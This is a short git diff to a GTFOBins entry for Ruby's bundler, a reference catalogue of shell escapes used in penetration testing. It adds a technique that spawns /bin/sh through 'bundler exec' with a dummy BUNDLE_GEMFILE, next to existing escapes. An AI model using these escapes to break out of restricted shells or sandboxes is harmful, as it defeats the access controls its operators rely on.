diff --git a/_gtfobins/bundler.md b/_gtfobins/bundler.md
index b328739..62b4c05 100644
--- a/_gtfobins/bundler.md
+++ b/_gtfobins/bundler.md
@@ -5,6 +5,9 @@ functions:
       code: |
         bundler help
         !/bin/sh
+    - code: |
+        export BUNDLE_GEMFILE=x
+        bundler exec /bin/sh
     - code: |
         TF=$(mktemp -d)
         touch $TF/Gemfile